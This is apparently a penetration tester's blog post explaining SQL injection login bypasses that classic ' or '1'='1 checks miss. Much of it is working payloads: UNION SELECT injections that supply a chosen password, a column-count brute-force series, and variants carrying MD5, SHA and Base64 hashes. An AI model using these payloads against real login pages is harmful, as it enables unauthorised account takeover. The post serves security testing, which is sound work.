I found out that most of the time, web applications are not being properly tested against SQL injection and many times critical security bugs are left undetected. It is not admissible to miss any security vulnerability during a pen-test because somebody else might find the bug and exploit it.
When probing the security of web logins, the following injections are always used:
‘ or ‘1’=’1
” or “1”=”1
Very often, only these injections are tested and if they fail it is assumed that the login is not vulnerable. However, there is a vast amount of other types of injections that should also be tried to correctly determine if the login is vulnerable or not.
Imagine that the login code resembles to the following:
Query:
$result = “SELECT password FROM users WHERE login=’$login’“;
Then on the server-side:
if ($result[‘password’] == $_POST[‘password’]) Access_Granted();
Even if the login is vulnerable, traditional ‘ or 1=’1 injections will fail to bypass it: even though the injection works and user data is being returned, the attacker still needs to know the correct password to log-in.
The injection for testing the login should now be:
‘ AND 0 UNION SELECT ‘letmein’ as password where ‘1
Thus the attacker can login with whatever password he chooses.
The process of exploiting these types of login requires a big amount of work and can be time consuming, consider the following vulnerable query:
SELECT * FROM users WHERE username=’$_POST[“username”]’;
The asterisk might return dozens of columns and since the number of columns in the UNION query should match, first the number of columns queried should be found:
Brute-force injection:
admin’ AND 0 UNION SELECT 1 AND ‘TRUE
admin’ AND 0 UNION SELECT 1,1 AND ‘TRUE
admin’ AND 0 UNION SELECT 1,1,1 AND ‘TRUE
admin’ AND 0 UNION SELECT 1,1,1,1 AND ‘TRUE
admin’ AND 0 UNION SELECT 1,1,1,1,1 AND ‘TRUE
…
admin’ AND 0 UNION SELECT 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 AND ‘TRUE
….
This can be tedious to brute-force manually specially if the query is trying to retrieve a huge number of columns.
Also, very frequently the password is going to be stored as a cryptographic hash in the database, which means that the password provided in the login form must be hashed too in order to be compared with the original; injections like this should be tried as well:
Hashed password injection:
# MD5 hash
admin’ AND 0 UNION SELECT ‘5f4dcc3b5aa765d61d8327deb882cf99‘ AND ‘TRUE
admin’ AND 0 UNION SELECT ‘5f4dcc3b5aa765d61d8327deb882cf99‘, ‘5f4dcc3b5aa765d61d8327deb882cf99‘ AND ‘TRUE
admin’ AND 0 UNION SELECT ‘5f4dcc3b5aa765d61d8327deb882cf99‘, ‘5f4dcc3b5aa765d61d8327deb882cf99‘, ‘5f4dcc3b5aa765d61d8327deb882cf99’ AND ‘TRUE
admin’ AND 0 UNION SELECT ‘5f4dcc3b5aa765d61d8327deb882cf99‘, ‘5f4dcc3b5aa765d61d8327deb882cf99‘, ‘5f4dcc3b5aa765d61d8327deb882cf99‘, ‘5f4dcc3b5aa765d61d8327deb882cf99‘… AND ‘TRUE
…
# SHA1 hash
admin’ AND 0 UNION SELECT ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8‘ AND ‘TRUE
admin’ AND 0 UNION SELECT ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8‘, ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8‘ AND ‘TRUE
admin’ AND 0 UNION SELECT ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8‘, ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8‘, ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8’ AND ‘TRUE
admin’ AND 0 UNION SELECT ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8‘, ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8‘, ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8’, ‘5baa61e4c9b93f3f0682250b6cf8331b7ee68fd8’… AND ‘TRUE
….
# SHA-224
admin’ AND 0 UNION SELECT ‘d63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01‘,‘d63dc919e201d7bc4c825630d2cf25fdc93d4b2f0d46706d29038d01‘,… AND ‘TRUE
# SHA-256
admin’ AND 0 UNION SELECT ‘5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8‘, ‘5e884898da28047151d0e56f8dc6292773603d0d6aabbdd62a11ef721d1542d8‘,… AND ‘TRUE
# SHA-384
admin’ AND 0 UNION SELECT ‘a8b64babd0aca91a59bdbb7761b421d4f2bb38280d3a75ba0f21f2bebc45583d446c598660c94ce680c47d19c30783a7′,… AND ‘TRUE
# SHA-512
admin’ AND 0 UNION SELECT ‘b109f3bbbc244eb82441917ed06d618b9008dd09b3befd1b5e07394c706a8bb980b1d7785e5976ec049b46df5f1326af5a2ea6d103fd07c95385ffab0cacbc86′,… AND ‘TRUE
# Base 64
admin’ AND 0 UNION SELECT ‘cGFzc3dvcmQ=‘, ‘cGFzc3dvcmQ=‘, ‘cGFzc3dvcmQ=‘, ‘cGFzc3dvcmQ=‘… AND ‘TRUE
And then all of these injections must be tried with double quotes instead of simple quotes too determine if the login is in fact vulnerable. As far as I know, there are no tools that exploit these type of login logic so I decided to write my own. So far I have found 3 applications that had this security bug and I don’t want to miss it in any future security evaluation.
The tool was written in python and it uses Selenium with the Chrome web driver; make sure to install those to get it running.
$ pip install selenium
In the header of the script there is an array containing all the hashing functions tested against the login. You can add more functions such as nested hashes or other cryptographic functions to extend the scope of the security testing.
You can find logincrack.py HERE.